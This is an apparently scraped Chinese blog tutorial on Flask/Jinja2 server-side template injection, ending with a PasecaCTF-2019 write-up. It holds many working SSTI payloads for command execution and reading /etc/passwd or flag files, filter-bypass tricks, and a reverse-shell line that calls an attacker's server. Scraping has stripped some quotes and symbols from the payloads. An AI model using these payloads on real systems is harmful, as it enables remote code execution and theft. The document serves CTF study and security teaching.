淮安做网站公司,wordpress pdf 打印,自助手机网站,网站类型定位分析文章目录 一、前置知识1.1 模板引擎1.2 渲染 二、SSTI模板注入2.1 原理2.2 沙箱逃逸沙箱逃逸payload讲解其他重要payload 2.3 过滤绕过点.被过滤下划线_被过滤单双引号 被过滤中括号[]被过滤关键字被过滤 三、PasecaCTF-2019-Web-Flask SSTI参考文献 一、前置知识
1.1 模… 文章目录 一、前置知识1.1 模板引擎1.2 渲染 二、SSTI模板注入2.1 原理2.2 沙箱逃逸沙箱逃逸payload讲解其他重要payload 2.3 过滤绕过点.被过滤下划线_被过滤单双引号 被过滤中括号[]被过滤关键字被过滤 三、PasecaCTF-2019-Web-Flask SSTI参考文献 一、前置知识
1.1 模板引擎 模板引擎这里特指用于Web开发的模板引擎是为了使用户界面与业务数据内容分离而产生的它可以生成特定格式的文档利用模板引擎来生成前端的html代码模板引擎会提供一套生成html代码的程序然后只需要获取用户的数据然后放到渲染函数里然后生成模板用户数据的前端html页面然后反馈给浏览器呈现在用户面前。 Flask是一个 web 框架Jinja2是模板引擎。 模板引擎判断 绿色为执行成功红色为执行失败。 1.2 渲染
前端渲染( SPA , 单页面应用 ) 浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 )浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户。整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可。 也就是说服务端只发送用户所需数据浏览器负责将这部分数据排列成人类可读的HTML字符串。 后端渲染( SSR , 服务器渲染 ) 浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 。整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可。 也就是说服务端将用户所需的数据排列成人类可读的HTML字符串了浏览器只需对传输的数据解码就可以用了。
Flask中的重要渲染函数render_template()和render_template_string()。 Jinja2模板语法
{% ... %} //声明变量当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}{%print(...)%}二、SSTI模板注入
2.1 原理 漏洞成因服务端接收了用户的恶意输入以后未经任何处理就将其作为 Web 应用模板内容的一部分模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 凡是使用模板的地方都可能会出现 SSTI 的问题SSTI 不属于任何一种语言沙盒绕过也不是沙盒绕过只是由于模板引擎发现了很大的安全漏洞然后模板引擎设计出来的一种防护机制不允许使用没有定义或者声明的模块这适用于所有的模板引擎。 举一个栗子下面是后端代码
from flask import Flask, request
from jinja2 import Templateapp Flask(__name__)app.route(/)
def index():name request.args.get(name, guest)t Template(Hello name)return t.render()if __name__ __main__:app.run()
name变量完全可控那么写入Jinja2模板语言 这大概就是SSTI模板注入使用{{....}}的方式测试参数可以用来判断是否存在SSTI模板注入。
2.2 沙箱逃逸 在上述代码中虽然理论上可以实现任意代码执行但由于模板本身的沙盒安全机制某些语句并不会执行如直接name{{os.popen(%27dir%27)}}。沙盒逃逸的过程简单讲如下
变量类型 → \rightarrow →找到所属类型 → \rightarrow →回溯基类 → \rightarrow →寻找可利用子类 → \rightarrow →最终payload
一些内建魔术方法如下
__class__用来查看变量所属的类根据前面的变量形式可以得到其所属的类。 .__class__
type str().__class__
type tuple[].__class__
type list{}.__class__
type dict__bases__用来查看类的基类也可是使用数组索引来查看特定位置的值。 ().__class__.__bases__
(type object,).__class__.__bases__
(type basestring,)[].__class__.__bases__
(type object,){}.__class__.__bases__
(type object,)[].__class__.__bases__[0]
type object__mro__也可以获取基类 .__class__.__mro__
(class str, class object)[].__class__.__mro__
(class list, class object){}.__class__.__mro__
(class dict, class object)().__class__.__mro__
(class tuple, class object)().__class__.__mro__[1] # 使用索引就能获取基类了
class object__subclasses__()以列表返回类的子类_globals__以dict返回函数所在模块命名空间中的所有变量
沙箱逃逸payload讲解 以下面的payload为例详细阐述沙箱逃逸的思路。{{.__class__.__base__.__subclasses__()[80].__init__.__globals__[__builtins__].eval(__import__(os).popen(type flag.txt).read())}} 核心思想核心在于python中类的继承与被继承的关系通过这种关系的查找合适的类找到合适的类后利用该类中的函数或者模块去调用与读取文件相关的函数或命令上述payload中获取flag或者重要文件信息的关键是eval(__import__(os).popen(type flag.txt).read()) 除了标准的python语法使用.访问变量属性外还可以使用[]来访问变量属性。 .__class__ __class__是类中的一个内置属性值是该实例的对应的类。这里使用的是’.class得到的则是空字符串这个实例对应的类也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去这样才能进行之后继承与被继承的操作。也可以使用()/[]/{}。 .__class__.__base__ __base__也是类中的一个内置属性值当前类的父类而在python中object是一切类最顶层的父类也就是说我们可以通过上一步获取到的类往上获取(一般数据类型的上一层父类中便有object)最终便会获取到object而由于object的特殊性我们便能从object往下获取到其他所有的类其中便有着能实现我们读取flag功能的类。 其他类似功能的还有__bases__(返回值是数组__base__返回值是一个值)、__mro__但返回的数据包含类的元组所以还需要下标选定object类)。 .__class__.__base__.__subclasses__() __subclasses__ ()是类中的一个内置方法返回值是包含当前类所有子类的一个列表通过上一步获取到的object类我们实现了向下获取接着我们需要在这些子类中获取合适的类。 .__class__.__base__.__subclasses__()[80].__init__ __init__是类中的内置方法在这个类实例化是自动被调用但是返回值只能是None且在调用时必须传入该类的实例对象。如果我们不去调用它此时我们获得的是我们选取的类中的__init__这个函数。由于python一切皆对象的特性函数本质上也是对象也存在类中的一些内置方法和内置属性所以我们可以执行接下来的操作。 常用的可利用的类class os._wrap_close、class subprocess.Popen .__class__.__base__.__subclasses__()[80].__init__.__globals____globals__是函数中的一个内置属性以字典的形式返回当前空间的全局变量而其中就能找到我们需要的目标模块__builtins__。 注意并不是每个类的__init__都拥有__globals__属性找__init__中拥有__globals__属性的类的原因是__builtins__模块中有很多我们常用的内置函数和类其中就有eval()函数。
其他重要payload 作为储存配置信息的变量config刚好对应的就是一个非常合适的类{{config}}查看配置信息 因为这个类中__init__函数全局变量中已经导入了os模块我们可以直接调用。 {{config.__class__.__init__.__globals__[os].popen(type flag.txt).read()}}读取文件payload .__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()object类的子类是type file 任意代码执行(获取popen方法) class os._wrap_close.__class__.__bases__[2].__subclasses__()[71].__init__.__globals__.popen(ls).read() //这个可以用# 反弹shell
.__class__.__bases__[2].__subclasses__()[71].__init__.__globals__[os].popen(bash -i /dev/tcp/你的服务器地址/端口 01).read()class subprocess.Popen().__class__.__bases__[1].__subclasses__()[407](cat /flag,shellTrue,stdout-1).communicate()[0]subprocess.popen(conmand, shelltrue, stdout-1)用于执行外部命令。 当stdout-1时表示将子进程的标准输出重定向到标准错误输出stderr这意味着子进程的标准输出将与标准错误输出合并并以标准错误输出的方式处理。也就是说后续使用communicate获取输出的时候拿到的是标准输出和标准错误输出的一个列表。shellTrue表示通过shell来执行命令。subprocess.popen.communicate()获取执行命令后的输出。 通过lipsum获取popen方法?name{{lipsum.__globals__.os.popen(request.values.a).read()}}acat /flag}}
?name{{lipsum.__globals__.__builtins__.open(/flag).read()}}{{request.environ}}一个与服务器环境相关的对象字典 .
2.3 过滤绕过
点.被过滤 .__class__ [__class__].__class__ (|attr(__class__)).__class__ .__getattribute__(__class__)下划线_被过滤 __class__\x5f\x5fclass\x5f\x5f //UTF-8编码.__class__ (|attr(request.values.cmd))cmd__class__# 例如原payload:?name{{lipsum.__globals__.os.popen(request.values.a).read()}}acat /flag#改后的payload:?name{{(lipsum | attr(request.values.a)).os.popen(request.values.b).read()}}blsa__globals__单双引号 被过滤 # 当单双引号被过滤后以下访问将被限制{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[popen](cat /flag).read() }}# 可以通过request.args的get传参输入引号内的内容payload{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}popenpopencmdcat /flag# 可以通过request.form的post传参输入引号内的内容payload{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}# 同时post传参?popenpopencmdcat /flag# 使用request.values进行传参payload{{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shellTrue,stdout-1).communicate()[0]}}acat /flag }}中括号[]被过滤
# 当中括号被过滤时如下将被限制访问
().__class__.__bases__[1].__subclasses__()[407](cat /flag,shellTrue,stdout-1).communicate()[0]# 可使用魔术方法__getitem__替换中括号[],payload如下
().__class__.__bases__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shellTrue,stdout-1).communicate().__getitem__(0)}}acat /flag关键字被过滤
os被过滤
#os被过滤使用get()函数获取字典中的值,如payload:
?name{{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}a__globals__bosccat ../flagrequest被过滤
#{{}}中的request被过滤可能{%%}中的request没被过滤。print的前提是解析print里面的东西。
?name{%print((lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}a__globals__bosccat ../flag数字被过滤
dict(ea)|join|count #1
dict(eea)|join|count #2构造字符 既然字符被过滤我们就构造字符。 ()|select|string ()|select|string得到的结果是: generator object select_or_reject at 0x十六进制数字如下图 使用()|select|string|list将上述字符串转化为数组数组元素为每一个字符。再使用pop()函数提取其中的字符如获取下划线()|select|string|list.pop(24) 这里或许不能用中括号进行遴选因为中括号被过滤了~ 字符拼接 # 使用或~
().__class__ ()[__class__] {% set a__cl %}{% set bass__ %}{{()[a~b]}}(Jijia2)
# dict() 与 join函数连用,连接字典的键
__class__ (_,_,(dict(class1)|join),_,_)|join
# chr()输入ASCII码输出ASCII对应的字符示例payload ?name
{% set a(()|select|string|list).pop(24) %} // a _
{% set globals(a,a,dict(globals1)|join,a,a)|join %} // globals__globals__
{% set builtins(a,a,dict(builtins1)|join,a,a)|join %} // builtins__builtins__
{% set a(lipsum|attr(globals)).get(builtins) %}
{% set chra.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}三、PasecaCTF-2019-Web-Flask SSTI 登录靶机输入1页面又返回1因为提示使用Flask框架使用{{11}}测试是否渲染引擎为Jinja2。 说明此处存在SSTI模板注入且框架为Flask模板引擎Jinja2。 注释 jQuery是javascript的一个库 $号是jQuery类的一个别称$()构造了一个jQuery对象$()可以叫做jQuery的构造函数。$.post语法jQuery.post(url, data, success(data,textStatus,jqXHR), datatype)其中 url规定把请求发送到哪个URLdata规定连同请求发送给服务器的数据success(data,textStatus,jqXHR)请求成功时返回的回调函数datatype规定预期服务器响应的数据类型。 测试发现过滤了. * _ 使用UTF-8编码绕过过滤{{[\x5f\x5fclass\x5f\x5f][\x5f\x5fbases\x5f\x5f]}} 读取app.py文件{{[\x5f\x5fclass\x5f\x5f][\x5f\x5fbases\x5f\x5f][0][\x5f\x5fsubclasses\x5f\x5f]()[117][\x5f\x5finit\x5f\x5f][\x5f\x5fglobals\x5f\x5f][popen](ls)[read]()}} 通过阅读代码发现flag经过加密后放在app.config中。app就是一个Flask对象app.config存储这个Flask对象的所有配置变量。 {{config}}查看配置变量flag: (U0\x1fy\x13y:0Sq5(\x11F\x03o\x0fdB\x1c\x13[X!jYeN_\x10\x15} 好不会解密了。噶~
参考文献
SSTI进阶SSTI漏洞利用及绕过总结(绕过姿势多样)